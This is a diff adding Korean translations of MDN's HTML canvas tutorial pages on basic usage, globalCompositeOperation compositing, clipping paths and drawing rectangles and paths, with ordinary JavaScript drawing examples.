+<p>{{HTMLElement("canvas")}} 엘리먼트는 고정 크기의 드로잉 영역을 생성하고 하나 이상의 <strong>렌더링 컨텍스(rendering contexts)</strong>를 노출하여, 출력할 컨텐츠를 생성하고 다루게 됩니다. 본 튜토리얼에서는, 2D 렌더링 컨텍스트를 집중적으로 다룹니다. 다른 컨텍스트는 다른 렌더링 타입을 제공합니다. 예를 들어, <a href="https://developer.mozilla.org/ko/docs/Web/WebGL">WebGL</a>은 <a class="external" href="http://www.khronos.org/opengles/" rel="external" title="http://en.wikipedia.org/wiki/OpenGL_ES">OpenGL ES</a> 을 기반으로 하는 3D 컨텍스트를 사용합니다.</p>
+
+<p>캔버스는 처음에 비어있습니다. 무언가를 표시하기 위해서, 어떤 스크립트가 랜더링 컨텍스트에 접근하여 그리도록 할 필요가 있습니다. {{HTMLElement("canvas")}} 요소는 {{domxref("HTMLCanvasElement.getContext", "getContext()")}} 메서드를 이용해서, 랜더링 컨텍스트와 (렌더링 컨텍스트의) 그리기 함수들을 사용할 수 있습니다.  getContext() 메서드는 렌더링 컨텍스트 타입을 지정하는 하나의 파라메터를 가집니다. 본 튜토리얼에서 다루고 있는 2D 그래픽의 경우, {{domxref("CanvasRenderingContext2D")}}을 얻기위해 <code>"2d"</code>로 지정합니다.</p>
+
+<pre class="brush: js">var canvas = document.getElementById('tutorial');
+var ctx = canvas.getContext('2d');
+</pre>
+
+<p>첫 번째 줄의 스크립트는  {{domxref ( "document.getElementById()")}} 메서드를 호출하여 {{HTMLElement ( "canvas")}} 요소를 표시할 DOM을 검색합니다.  요소가 있으면 <code>getContext()</code> 메서드를 사용하여 드로잉 컨텍스트에 액세스 할 수 있습니다.</p>
+
+<div id="section_5">
+<h2 id="지원여부_검사">지원여부 검사</h2>
+
+<p>대체 콘텐츠는 {{HTMLElement ( "canvas")}}를 지원하지 않는 브라우저에 표시됩니다. 스크립트 역시 간단하게 <code>getContext()</code> 메소드의 존재 여부를 테스트함으로써 프로그래밍 방식으로 지원하는지를 확인할 수 있습니다. 위의 코드 예제는 다음과 같이 될 수 있습니다:</p>
+
+<pre class="brush: js">var canvas = document.getElementById('tutorial');
+
+if (canvas.getContext){
+ var ctx = canvas.getContext('2d');
+ // drawing code here
+} else {
+ // canvas-unsupported code here
+}
+</pre>
+</div>
+</div>
+
+<h2 id="템플릿_뼈대">템플릿 뼈대</h2>
+
+<p>다음은 이후의 예제들에서 시작점으로 사용될 수 있는 가장 최소한의 템플릿입니다.</p>
+
+<div class="note">
+<p><strong>알아두기:</strong> HTML 내에 스크립트(script)를 사용하는것은 좋은 연습 방법이 아닙니다. 다음의 예시에서는 간결하게 나타내기 위해 사용 한 것입니다.</p>
+</div>
+
+<pre class="brush: html">&lt;!DOCTYPE html&gt;
+&lt;html&gt;
+ &lt;head&gt;
+ &lt;meta charset="utf-8"/&gt;
+ &lt;title&gt;Canvas tutorial&lt;/title&gt;
+ &lt;script type="text/javascript"&gt;
+ function draw(){
+ var canvas = document.getElementById('tutorial');
+ if (canvas.getContext){
+ var ctx = canvas.getContext('2d');
+ }
+ }
+ &lt;/script&gt;
+ &lt;style type="text/css"&gt;
+ canvas { border: 1px solid black; }
+ &lt;/style&gt;
+ &lt;/head&gt;
+ &lt;body onload="draw();"&gt;
+ &lt;canvas id="tutorial" width="150" height="150"&gt;&lt;/canvas&gt;
+ &lt;/body&gt;
+&lt;/html&gt;
+</pre>
+
+<p>위 스크립트에 <code>draw()</code> 함수 문서가 호출되었는데, 이는 문서가 {{event("load")}} 이벤트를 수신하여 페이지 로딩이 완료될 때 한번 실행됩니다. 이 함수 혹은 이와 유사한 함수는, 페이지가 처음 로딩되는 한, {{domxref("WindowTimers.setTimeout", "window.setTimeout()")}}, {{domxref("WindowTimers.setInterval", "window.setInterval()")}}, 혹은 또 다른 이벤트 핸들러 등을 이용하여 호출될 수 있습니다.</p>
+
+<p>다음은 템플릿이 실제로 어떻게 실행되는지를 보여줍니다. 보이는 바와 같이, 초기에 blank 로 보여집니다.</p>
+
+<p>{{EmbedLiveSample("A_skeleton_template", 160, 160)}}</p>
+
+<h2 id="기본_예제">기본 예제</h2>
+
+<p>먼저 두 개의 직사각형을 그린 간단한 예제를 보도록하겠습니다. 그 중 하나는 투명도(alpha transparency)를가집니다. 나중에 이 예제가 어떻게 작동하는지 자세히 살펴 보겠습니다.</p>
+
+<pre class="brush: html">&lt;!DOCTYPE html&gt;
+&lt;html&gt;
+ &lt;head&gt;
+ &lt;meta charset="utf-8"/&gt;
+ &lt;script type="application/javascript"&gt;
+ function draw() {
+ var canvas = document.getElementById("canvas");
+ if (canvas.getContext) {
+ var ctx = canvas.getContext("2d");
+
+ ctx.fillStyle = "rgb(200,0,0)";
+ ctx.fillRect (10, 10, 50, 50);
+
+ ctx.fillStyle = "rgba(0, 0, 200, 0.5)";
+ ctx.fillRect (30, 30, 50, 50);
+ }
+ }
+ &lt;/script&gt;
+ &lt;/head&gt;
+ &lt;body onload="draw();"&gt;
+ &lt;canvas id="canvas" width="150" height="150"&gt;&lt;/canvas&gt;
+ &lt;/body&gt;
+&lt;/html&gt;
+</pre>
+
+<p>이 예제는 다음과 같습니다.</p>
+
+<p>{{EmbedLiveSample("A_simple_example", 160, 160, "https://mdn.mozillademos.org/files/228/canvas_ex1.png")}}</p>
+
+<p>{{PreviousNext("Web/API/Canvas_API/Tutorial", "Web/API/Canvas_API/Tutorial/Drawing_shapes")}}</p>
diff --git a/files/ko/web/html/canvas/tutorial/compositing/example/index.html b/files/ko/web/html/canvas/tutorial/compositing/example/index.html
new file mode 100644
index 0000000000..e3d74f5220
--- /dev/null
+++ b/files/ko/web/html/canvas/tutorial/compositing/example/index.html
@@ -0,0 +1,293 @@
+---
+title: 도형 합성 예제
+slug: Web/HTML/Canvas/Tutorial/Compositing/Example
+tags:
+ - HTML5
+ - 그래픽
+ - 예제
+ - 캔버스
+translation_of: Web/API/Canvas_API/Tutorial/Compositing/Example
+---
+<div>{{CanvasSidebar}}</div>
+
+<p>이 샘플 프로그램에서는 여러 가지 <a href="/en-US/docs/Web/API/CanvasRenderingContext2D.globalCompositeOperation">도형 합성 방법</a>을 보여줍니다. 출력은 다음과 같습니다:</p>
+
+<p>{{ EmbedLiveSample('도형_합성_예제', '100%', '7250', '', 'Web/HTML/Canvas/Tutorial/Compositing/Example') }}</p>
+
+<h2 id="도형_합성_예제">도형 합성 예제</h2>
+
+<p>다음 코드에서는 프로그램의 나머지 부분에서 사용할 전역 값을 설정합니다.</p>
+
+<pre class="brush: js">var canvas1 = document.createElement("canvas");
+var canvas2 = document.createElement("canvas");
+var gco = [ 'source-over','source-in','source-out','source-atop',
+            'destination-over','destination-in','destination-out','destination-atop',
+            'lighter', 'copy','xor', 'multiply', 'screen', 'overlay', 'darken',
+            'lighten', 'color-dodge', 'color-burn', 'hard-light', 'soft-light',
+            'difference', 'exclusion', 'hue', 'saturation', 'color', 'luminosity'
+          ].reverse();
+var gcoText = [
+'기본 설정으로, 새로운 도형이 원래 도형 위에 그려집니다.',
+'새로운 도형이 원래 도형과 겹치는 부분에만 그려지며, 나머지는 투명하게 설정됩니다.',
+'새로운 도형이 원래 도형과 겹치지 않는 부분에만 그려집니다.',
+'새로운 도형이 원래 도형과 겹치는 부분에만 그려집니다.',
+'새로운 도형이 원래 도형 아래에 그려집니다.',
+'원래 도형 중 새로운 도형과 겹치는 부분이 유지되며, 나머지는 투명하게 설정됩니다.',
+'원래 도형 중 새로운 도형과 겹치지 않는 부분이 유지됩니다.',
+'원래 도형 중 새로운 도형과 겹치는 부분만 유지됩니다. 새로운 도형은 원래 도형 아래에 그려집니다.',
+'두 도형이 겹치는 곳의 색상이 두 색상값을 합한 값으로 결정됩니다.',
+'새로운 도형만 그려집니다.',
+'두 도형이 겹치는 곳이 투명하게 변하며, 나머지는 평범하게 그려집니다.',
+'위쪽 레이어의 픽셀값이 아래쪽 레이어의 해당하는 픽셀값과 곱해지며, 결과적으로 어두운 이미지가 생성됩니다.',
+'픽셀값을 뒤집고 곱한 다음 도로 뒤집습니다. 결과적으로 밝은 이미지가 생성됩니다(multiply의 반대).',
+'multiply와 screen의 조합입니다. 아래쪽 레이어의 어두운 부분은 더 어두워지고, 밝은 부분은 더 밝아집니다.',
+'두 레이어 중 어두운 픽셀값을 취합니다.',
+'두 레이어 중 밝은 픽셀값을 취합니다.',
+'아래쪽 레이어의 픽셀값을 위쪽 레이어의 뒤집힌 픽셀값으로 나눕니다.',
+'아래쪽 레이어의 뒤집힌 픽셀값을 위쪽 레이어의 픽셀값으로 나누고, 그 값을 도로 뒤집습니다.',
+'overlay와 같이 multiply와 screen의 조합이지만, 위아래 레이어의 순서가 바뀐 상태입니다.',
+'조금 더 부드러운 hard-light입니다. 완전한 검은색/흰색에서 무조건 완전한 검은색/흰색이 나오지 않습니다.',
+'한쪽 레이어의 픽셀값에서 다른 쪽 레이어의 픽셀값을 뺍니다. 빼는 순서는 결과값이 양수가 나오는 순서입니다.',
+'difference와 비슷하지만 대비가 덜합니다.',
+'아래쪽 레이어의 채도(chroma)와 명도(luma)를 보존하고 위쪽 레이어의 색상(hue)을 적용합니다.',
+'아래쪽 레이어의 색상과 명도를 보존하고 위쪽 레이어의 채도를 적용합니다.',
+'아래쪽 레이어의 명도를 보존하고 위쪽 레이어의 색상과 채도를 적용합니다.',
+'아래쪽 레이어의 색상과 채도를 보존하고 위쪽 레이어의 명도를 적용합니다.'
+          ].reverse();
+var width = 320;
+var height = 340;
+</pre>
+
+<h3 id="메인_프로그램">메인 프로그램</h3>
+
+<p>페이지를 불러오고 나면 다음 코드에서 예제를 준비하고 실행합니다:</p>
+
+<pre class="brush: js">window.onload = function() {
+    // lum in sRGB
+    var lum = {
+        r: 0.33,
+        g: 0.33,
+        b: 0.33
+    };
+    // 캔버스 크기 변경
+    canvas1.width = width;
+    canvas1.height = height;
+    canvas2.width = width;
+    canvas2.height = height;
+    lightMix()
+    colorSphere();
+    runComposite();
+    return;
+};
+</pre>
+
+<p>또한 다음 코드의 <code>runComposite()</code>가 여러 가지 작업을 처리하며, 어려운 부분은 보조 함수를 사용합니다.</p>
+
+<pre class="brush: js">function createCanvas() {
+    var canvas = document.createElement("canvas");
+    canvas.style.background = "url("+op_8x8.data+")";
+    canvas.style.border = "1px solid #000";
+    canvas.style.margin = "5px";
+    canvas.width = width/2;
+    canvas.height = height/2;
+  return canvas;
+}
+
+function runComposite() {
+    var dl = document.createElement("dl");
+    document.body.appendChild(dl);
+    while(gco.length) {
+        var pop = gco.pop();
+        var dt = document.createElement("dt");
+        dt.textContent = pop;
+        dl.appendChild(dt);
+        var dd = document.createElement("dd");
+        var p = document.createElement("p");
+        p.textContent = gcoText.pop();
+        dd.appendChild(p);
+
+  var canvasToDrawOn = createCanvas();
+   var canvasToDrawFrom = createCanvas();
+   var canvasToDrawResult = createCanvas();
+
+        var ctx = canvasToDrawResult.getContext('2d');
+        ctx.clearRect(0, 0, width, height)
+        ctx.save();
+        ctx.drawImage(canvas1, 0, 0, width/2, height/2);
+        ctx.globalCompositeOperation = pop;
+        ctx.drawImage(canvas2, 0, 0, width/2, height/2);
+        ctx.globalCompositeOperation = "source-over";
+        ctx.fillStyle = "rgba(0,0,0,0.8)";
+        ctx.fillRect(0, height/2 - 20, width/2, 20);
+        ctx.fillStyle = "#FFF";
+        ctx.font = "14px arial";
+        ctx.fillText(pop, 5, height/2 - 5);
+        ctx.restore();
+
+        var ctx = canvasToDrawOn.getContext('2d');
+        ctx.clearRect(0, 0, width, height)
+        ctx.save();
+        ctx.drawImage(canvas1, 0, 0, width/2, height/2);
+        ctx.fillStyle = "rgba(0,0,0,0.8)";
+        ctx.fillRect(0, height/2 - 20, width/2, 20);
+        ctx.fillStyle = "#FFF";
+        ctx.font = "14px arial";
+        ctx.fillText('기존 도형', 5, height/2 - 5);
+        ctx.restore();
+
+        var ctx = canvasToDrawFrom.getContext('2d');
+        ctx.clearRect(0, 0, width, height)
+        ctx.save();
+        ctx.drawImage(canvas2, 0, 0, width/2, height/2);
+        ctx.fillStyle = "rgba(0,0,0,0.8)";
+        ctx.fillRect(0, height/2 - 20, width/2, 20);
+        ctx.fillStyle = "#FFF";
+        ctx.font = "14px arial";
+        ctx.fillText('새로운 도형', 5, height/2 - 5);
+        ctx.restore();
+
+        dd.appendChild(canvasToDrawOn);
+        dd.appendChild(canvasToDrawFrom);
+        dd.appendChild(canvasToDrawResult);
+
+        dl.appendChild(dd);
+    }
+};
+</pre>
+
+<h3 id="보조_함수">보조 함수</h3>
+
+<p>이 프로그램에서는 몇몇 보조 함수를 사용합니다.</p>
+
+<pre class="brush: js">var lightMix = function() {
+    var ctx = canvas2.getContext("2d");
+    ctx.save();
+    ctx.globalCompositeOperation = "lighter";
+    ctx.beginPath();
+    ctx.fillStyle = "rgba(255,0,0,1)";
+    ctx.arc(100, 200, 100, Math.PI*2, 0, false);
+    ctx.fill()
+    ctx.beginPath();
+    ctx.fillStyle = "rgba(0,0,255,1)";
+    ctx.arc(220, 200, 100, Math.PI*2, 0, false);
+    ctx.fill()
+    ctx.beginPath();
+    ctx.fillStyle = "rgba(0,255,0,1)";
+    ctx.arc(160, 100, 100, Math.PI*2, 0, false);
+    ctx.fill();
+    ctx.restore();
+    ctx.beginPath();
+    ctx.fillStyle = "#f00";
+    ctx.fillRect(0,0,30,30)
+    ctx.fill();
+};
+</pre>
+
+<pre class="brush: js">var colorSphere = function(element) {
+    var ctx = canvas1.getContext("2d");
+    var width = 360;
+    var halfWidth = width / 2;
+    var rotate = (1 / 360) * Math.PI * 2; // per degree
+    var offset = 0; // scrollbar offset
+    var oleft = -20;
+    var otop = -20;
+    for (var n = 0; n &lt;= 359; n ++) {
+        var gradient = ctx.createLinearGradient(oleft + halfWidth, otop, oleft + halfWidth, otop + halfWidth);
+        var color = Color.HSV_RGB({ H: (n + 300) % 360, S: 100, V: 100 });
+        gradient.addColorStop(0, "rgba(0,0,0,0)");
+        gradient.addColorStop(0.7, "rgba("+color.R+","+color.G+","+color.B+",1)");
+        gradient.addColorStop(1, "rgba(255,255,255,1)");
+        ctx.beginPath();
+        ctx.moveTo(oleft + halfWidth, otop);
+        ctx.lineTo(oleft + halfWidth, otop + halfWidth);
+        ctx.lineTo(oleft + halfWidth + 6, otop);
+        ctx.fillStyle = gradient;
+        ctx.fill();
+        ctx.translate(oleft + halfWidth, otop + halfWidth);
+        ctx.rotate(rotate);
+        ctx.translate(-(oleft + halfWidth), -(otop + halfWidth));
+    }
+    ctx.beginPath();
+    ctx.fillStyle = "#00f";
+    ctx.fillRect(15,15,30,30)
+    ctx.fill();
+    return ctx.canvas;
+};
+</pre>
+
+<pre class="brush: js">// HSV (1978) = H: Hue / S: Saturation / V: Value
+Color = {};
+Color.HSV_RGB = function (o) {
+    var H = o.H / 360,
+        S = o.S / 100,
+        V = o.V / 100,
+        R, G, B;
+    var A, B, C, D;
+    if (S == 0) {
+        R = G = B = Math.round(V * 255);
+    } else {
+        if (H &gt;= 1) H = 0;
+        H = 6 * H;
+        D = H - Math.floor(H);
+        A = Math.round(255 * V * (1 - S));
+        B = Math.round(255 * V * (1 - (S * D)));
+        C = Math.round(255 * V * (1 - (S * (1 - D))));
+        V = Math.round(255 * V);
+        switch (Math.floor(H)) {
+            case 0:
+                R = V;
+                G = C;
+                B = A;
+                break;
+            case 1:
+                R = B;
+                G = V;
+                B = A;
+                break;
+            case 2:
+                R = A;
+                G = V;
+                B = C;
+                break;
+            case 3:
+                R = A;
+                G = B;
+                B = V;
+                break;
+            case 4:
+                R = C;
+                G = A;
+                B = V;
+                break;
+            case 5:
+                R = V;
+                G = A;
+                B = B;
+                break;
+        }
+    }
+    return {
+        R: R,
+        G: G,
+        B: B
+    };
+};
+
+var createInterlace = function (size, color1, color2) {
+    var proto = document.createElement("canvas").getContext("2d");
+    proto.canvas.width = size * 2;
+    proto.canvas.height = size * 2;
+    proto.fillStyle = color1; // top-left
+    proto.fillRect(0, 0, size, size);
+    proto.fillStyle = color2; // top-right
+    proto.fillRect(size, 0, size, size);
+    proto.fillStyle = color2; // bottom-left
+    proto.fillRect(0, size, size, size);
+    proto.fillStyle = color1; // bottom-right
+    proto.fillRect(size, size, size, size);
+    var pattern = proto.createPattern(proto.canvas, "repeat");
+    pattern.data = proto.canvas.toDataURL();
+    return pattern;
+};
+
+var op_8x8 = createInterlace(8, "#FFF", "#eee");</pre>
diff --git a/files/ko/web/html/canvas/tutorial/compositing/index.html b/files/ko/web/html/canvas/tutorial/compositing/index.html
new file mode 100644
index 0000000000..108c493d9d
--- /dev/null
+++ b/files/ko/web/html/canvas/tutorial/compositing/index.html
@@ -0,0 +1,106 @@
+---
+title: 도형 합성
+slug: Web/HTML/Canvas/Tutorial/Compositing
+tags:
+ - HTML5
+ - 그래픽
+ - 캔버스
+translation_of: Web/API/Canvas_API/Tutorial/Compositing
+---
+<p>이전 페이지들에서 나온 모든 예제에서, 새로 그리는 도형은 언제나 이미 그려진 도형의 위에 그려졌습니다. 대부분의 상황에서는 이렇게 하는 것이 적절하지만, 도형을 합성하기 위한 순서를 제한하게 되는데,  <code>globalCompositeOperation</code> 속성을 설정함으로써 이러한 상태를 바꿀 수 있습니다.</p>
+
+<h2 id="globalCompositeOperation" name="globalCompositeOperation"><code>globalCompositeOperation</code></h2>
+
+<p>기존 도형 뒤에 새로운 도형을 그릴 수 있을 뿐만 아니라, 도형의 일정 영역을 가려 보이지 않게 하거나 캔버스의 특정 부분을 지우는 (<code>clearRect()</code> 메소드는 사각형의 영역만을 지우지만, 이같은 제한도 없다.) 등의 효과를 얻을 수도 있습니다.</p>
+
+<dl>
+ <dt><code>globalCompositeOperation = <em>type</em></code></dt>
+ <dd>새로운 도형을 그릴 때, 도형 합성 방법을 설정합니다. type은 다음 26종류의 합성 방법 중에서 선택할 수 있습니다.</dd>
+</dl>
+
+<p>다음 예제의 코드를 확인하려면 <a href="/ko/docs/Web/HTML/Canvas/Tutorial/Compositing/Example">도형 합성 예제</a>를 확인해 주세요.</p>
+
+<p>{{ EmbedLiveSample('도형_합성_예제', 750, 6750, '', 'Web/HTML/Canvas/Tutorial/Compositing/Example') }}</p>
+
+<h2 id="Clipping_paths" name="Clipping_paths">잘라내기 경로(Clipping path)</h2>
+
+<p><img alt="" class="internal" src="https://mdn.mozillademos.org/files/209/Canvas_clipping_path.png" style="float: right;"> 잘라내기 경로는 다른 캔버스 도형과 비슷하지만, 다른 도형에서 원하지 않는 부분을 가리는 가면과 같은 역할을 합니다. 오른쪽에 있는 그림을 보면 어떤 역할을 하는지 알 수 있을 것입니다. 붉은 별 모양이 잘라내기 경로입니다. 이 경로 밖에 있는 모든 것은 캔버스에 그려지지 않을 것입니다.</p>
+
+<p>잘라내기 경로와 위에서 살펴본  <code>globalCompositeOperation</code> 속성을 비교해 보면,   <code>source-in</code>과 <code>source-atop</code>에서 비슷한 효과가 보입니다. 이들과 잘라내기 경로와의 가장 중요한 차이점은, 잘라내기 경로 자체는 캔버스에 전혀 그려지지 않는다는 것입니다. 잘라내기 경로는 제한된 영역 안에서 여러 가지 도형을 그리는 데에 적합합니다.</p>
+
+<p><a href="/en-US/docs/Web/Guide/HTML/Canvas_tutorial/Drawing_shapes#Drawing_paths" title="Web/Guide/HTML/Canvas_tutorial/Drawing_shapes#Drawing_paths">캔버스에 도형 그리기</a>에서는 <code>stroke()</code>과 <code>fill()</code> 메소드만을 설명했었는데, <code>clip()</code>이라는 세 번째 메소드도 있습니다.</p>
+
+<dl>
+ <dt><code>clip()</code></dt>
+ <dd>현재 그려지는 경로를 현재 잘라내기 경로로 만듭니다.</dd>
+</dl>
+
+<p>경로를 닫기 위해 <code>closePath()</code> 대신 <code>clip()</code>을 사용하고, 경로를 채우거나 윤곽선을 만드는 대신 잘라내기 경로로 만들 수 있습니다.</p>
+
+<p>{{HTMLElement("canvas")}} 요소의 초기 설정값으로써, 캔버스는 캔버스와 똑같은 크기의 잘라내기 경로를 가집니다. 크기가 똑같기 때문에 잘라내기 효과는 나타나지 않습니다.</p>
+
+<h3 id="A_clip_example" name="A_clip_example"><code>clip</code> 예제</h3>
+
+<p>다음 예제에서는 특정 영역의 별들만 보이도록 동그란 모양의 잘라내기 경로를 사용할 것입니다.</p>
+
+<pre class="brush: js">function draw() {
+ var ctx = document.getElementById('canvas').getContext('2d');
+ ctx.fillRect(0,0,150,150);
+ ctx.translate(75,75);
+
+ // 동그란 모양의 잘라내기 경로를 생성한다
+ ctx.beginPath();
+ ctx.arc(0,0,60,0,Math.PI*2,true);
+ ctx.clip();
+
+ // 배경을 그린다
+ var lingrad = ctx.createLinearGradient(0,-75,0,75);
+ lingrad.addColorStop(0, '#232256');
+ lingrad.addColorStop(1, '#143778');
+
+ ctx.fillStyle = lingrad;
+ ctx.fillRect(-75,-75,150,150);
+
+ // 별을 그린다
+ for (var j=1;j&lt;50;j++){
+ ctx.save();
+ ctx.fillStyle = '#fff';
+ ctx.translate(75-Math.floor(Math.random()*150),
+ 75-Math.floor(Math.random()*150));
+ drawStar(ctx,Math.floor(Math.random()*4)+2);
+ ctx.restore();
+ }
+
+}
+
+function drawStar(ctx,r){
+ ctx.save();
+ ctx.beginPath()
+ ctx.moveTo(r,0);
+ for (var i=0;i&lt;9;i++){
+ ctx.rotate(Math.PI/5);
+ if(i%2 == 0) {
+ ctx.lineTo((r/0.525731)*0.200811,0);
+ } else {
+ ctx.lineTo(r,0);
+ }
+ }
+ ctx.closePath();
+ ctx.fill();
+ ctx.restore();
+}
+</pre>
+
+<div class="hidden">
+<pre class="brush: html">&lt;canvas id="canvas" width="150" height="150"&gt;&lt;/canvas&gt;</pre>
+
+<pre class="brush: js">draw();</pre>
+</div>
+
+<p>코드의 위쪽 몇 줄에서는 배경으로 캔버스 크기와 같은 검은색 네모를 그리고, 가운데로 원점을 옮깁니다. 그런 다음 호를 그리고 <code>clip()</code>을 사용하여 동그란 모양의 잘라내기 경로를 생성합니다. 캔버스 상태를 저장할 때 잘라내기 경로도 같이 저장됩니다. 이전의 잘라내기 경로를 보존하려면, 새로운 잘라내기 경로를 만들기 전에 캔버스 상태를 저장하면 됩니다.</p>
+
+<p>잘라내기 경로를 만든 후에 그려지는 모든 것들은, 그 경로의 안쪽에서만 보입니다. 이는 그 다음에 그려지는 선형 그라디언트에서 확실히 볼 수 있습니다. 이렇게 하고 나서, <code>drawStar()</code> 함수를 사용하여 위치와 크기가 모두 다른 50개의 별을 그립니다. 이 별들은 잘라내기 경로 안쪽에만 나타납니다.</p>
+
+<p>{{EmbedLiveSample("A_clip_example", "180", "180", "https://mdn.mozillademos.org/files/208/Canvas_clip.png")}}</p>
+
+<p>{{PreviousNext("Web/Guide/HTML/Canvas_tutorial/Transformations", "Web/Guide/HTML/Canvas_tutorial/Basic_animations")}}</p>
diff --git a/files/ko/web/html/canvas/tutorial/drawing_shapes/index.html b/files/ko/web/html/canvas/tutorial/drawing_shapes/index.html
new file mode 100644
index 0000000000..09df4b829d
--- /dev/null
+++ b/files/ko/web/html/canvas/tutorial/drawing_shapes/index.html
@@ -0,0 +1,577 @@
+---
+title: 캔버스(canvas)를 이용한 도형 그리기
+slug: Web/HTML/Canvas/Tutorial/Drawing_shapes
+tags:
+ - Canvas
+ - 그래픽
+ - 중급
+ - 캔버스
+ - 튜토리얼
+translation_of: Web/API/Canvas_API/Tutorial/Drawing_shapes
+---
+<div>{{CanvasSidebar}} {{PreviousNext("Web/API/Canvas_API/Tutorial/Basic_usage", "Web/API/Canvas_API/Tutorial/Applying_styles_and_colors")}}</div>
+
+<div class="summary">
+<p>앞서 캔버스 환경 설정(<a href="/en-US/docs/Web/API/Canvas_API/Tutorial/Basic_usage">canvas environment</a>)을 완료 하였다면, 이제 어떻게 캔버스에 그릴수 있는지에 대하여 자세하게 알아봅시다. 이 글을 끝내고 난 후, 여러분은 어떻게 사각형, 삼각형, 선, 아치, 곡선 등 의 기본적인 도형을 그릴수 있는지 익히실 수 있을 것 입니다.  캔버스 위에 물체를 그릴 때에는 path를 사용하는것이 필수적이므로 우리는 이것이 어떻게 사용되는지 볼 것입니다.</p>
+</div>
+
+<h2 id="그리드">그리드</h2>
+
+<p><img alt="" class="internal" src="https://mdn.mozillademos.org/files/224/Canvas_default_grid.png" style="float: right; height: 220px; width: 220px;">드로잉을 시작 하기에 앞서, 캔버스 그리드 혹은 좌표공간 (<strong>coordinate space) </strong>에 대하여 이야기 해보겠습니다. 이전 페이지에서 이야기 했던 HTML 골격(skeleton)는 가로 세로 각각 150 픽셀의 캔버스 요소를 가지고 있습니다. 오른쪽에 보시면, 캔버스와 기본 그리드가 놓인것을 보실 수 있습니다. 기본적으로 그리드의 1단위는 캔버스의 1픽셀과 같습니다. 이 그리드의 원점은 좌측상단의 (0,0) 입니다. 모든 요소들은 이 원점을 기준으로 위치됩니다. 그렇기 때문에, 파란 사각형의 좌측상단은 왼쪽에서 x 픽셀, 위에서 y 픽셀 떨어진 것이라 볼 수 있고, 이 사각형의 좌표는 (x,y)가 됩니다. 이 튜토리얼 후반부에서 어떻게 원점을 이동하며, 그리드를 회전하고 같은 비율로 확대/축소할 수 있는지 살펴볼 것이지만, 지금은 기본에 충실하도록 합시다.</p>
+
+<h2 id="직사각형_그리기">직사각형 그리기</h2>
+
+<p>{{Glossary("SVG")}} 와는 다르게, {{HTMLElement("canvas")}}는 오직 하나의 원시적인 도형만을 제공합니다. 바로 <u>직사각형</u> 입니다. 다른 모든 도형들은 무조건 하나 혹은 하나 이상의 path 와 여러 점으로 이어진 선으로 만들어집니다. 다행히도, 우리는 여러 path drawing 함수(function)들을 통해 아주 어려운 도형들도 그릴수 있습니다.</p>
+
+<p>첫번째로, 직사각형을 봅시다. 캔버스 위에 직사각형을 그리는데에는 세가지 함수(function)가 있습니다:</p>
+
+<dl>
+ <dt>{{domxref("CanvasRenderingContext2D.fillRect", "fillRect(x, y, width, height)")}}</dt>
+ <dd>색칠된 직사각형을 그립니다.</dd>
+ <dt>{{domxref("CanvasRenderingContext2D.strokeRect", "strokeRect(x, y, width, height)")}}</dt>
+ <dd>직사각형 윤곽선을 그립니다.</dd>
+ <dt>{{domxref("CanvasRenderingContext2D.clearRect", "clearRect(x, y, width, height)")}}</dt>
+ <dd>특정 부분을 지우는 직사각형이며, 이 지워진 부분은 완전히 투명해집니다.</dd>
+</dl>
+
+<p>각각의 세 함수는 모두 같은 변수를 가집니다. <code>x</code>와 <code>y</code>는 캔버스의 좌측상단에서 사각형의 (원점으로부터 상대적인) 위치를 뜻하며,  <code>width</code> 와 <code>height</code>는 사각형의 크기를 뜻하게 됩니다.</p>
+
+<p>전 페이지에서 보여드렸던 <code>draw()</code> 함수(function)를 이용하여 위의 세가지 함수를 아래의 예제에 적용해 보았습니다.</p>
+
+<h3 id="직사각형_도형_예제">직사각형 도형 예제</h3>
+
+<div class="hidden">
+<pre class="brush: html">&lt;html&gt;
+ &lt;body onload="draw();"&gt;
+   &lt;canvas id="canvas" width="150" height="150"&gt;&lt;/canvas&gt;
+ &lt;/body&gt;
+&lt;/html&gt;
+</pre>
+</div>
+
+<pre class="brush: js">function draw() {
+ var canvas = document.getElementById('canvas');
+ if (canvas.getContext) {
+ var ctx = canvas.getContext('2d');
+
+ ctx.fillRect(25, 25, 100, 100);
+ ctx.clearRect(45, 45, 60, 60);
+ ctx.strokeRect(50, 50, 50, 50);
+ }
+}</pre>
+
+<p>위 예제의 결과는 다음과 같습니다.</p>
+
+<p>{{EmbedLiveSample("Rectangular_shape_example", 160, 160, "https://mdn.mozillademos.org/files/245/Canvas_rect.png")}}</p>
+
+<p><code>fillRect()</code> 함수는 가로 세로 100 픽셀 사이즈의 검정 사각형을 그립니다. 이후 <code>clearRect()</code> 함수가 60x60 픽셀의 사각형 크기로 도형 중앙을 지우게 되고, <code>strokeRect()</code>은 이 빈 사각형 공간 안에 50x50 픽셀 사이즈의 윤곽선만 있는 사각형을 만들게 됩니다.</p>
+
+<p>다음 페이지에서, 우리는 <code>clearRect()</code>를 대신하는 두개의 함수에 대해 살펴보고, 만들어진 도형의 색이나 <font face="Open Sans, Arial, sans-serif">윤곽선의 스타일을 </font>바꾸는 방법들에 대하여 알아보도록 하겠습니다.</p>
+
+<p>우리가 다음 섹션에서 보게될 path 함수와 다르게 세개의 직사각형 함수는 캔버스에 바로 그릴 수 있습니다.</p>
+
+<h2 id="경로_그리기">경로 그리기</h2>
+
+<p><em>경로(path)</em>는 직사각형 이외의 유일한 원시적인(primitive) 도형입니다. 경로는 점들의 집합이며, 선의 한 부분으로 연결되어 여러가지 도형, 곡선을 이루고 두께와 색을 나타내게 됩니다. 경로나 하위 경로(sub-path)는 닫힐 수 있습니다. 경로를 이용하여 도형을 만들 때에는 몇가지 추가적인 단계를 거쳐야 합니다:</p>
+
+<ol>
+ <li>경로를 생성합니다.</li>
+ <li><a href="/ko/docs/Web/API/CanvasRenderingContext2D#Paths">그리기 명령어</a>를 사용하여 경로상에 그립니다.</li>
+ <li>경로가 한번 만들어졌다면, 경로를 렌더링 하기 위해서 윤곽선을 그리거나 도형 내부를 채울수 있습니다.</li>
+</ol>
+
+<p>다음은 위의 단계들을 실행하기 위해 사용되는 함수입니다:</p>
+
+<dl>
+ <dt>{{domxref("CanvasRenderingContext2D.beginPath", "beginPath()")}}</dt>
+ <dd>새로운 경로를 만듭니다. 경로가 생성됬다면, 이후 그리기 명령들은 경로를 구성하고 만드는데 사용하게 됩니다.</dd>
+ <dt>Path 메소드 (<a href="/en-US/docs/Web/API/CanvasRenderingContext2D#Paths">Path methods</a>)</dt>
+ <dd>물체를 구성할 때 필요한 여러 경로를 설정하는데 사용하는 함수입니다.</dd>
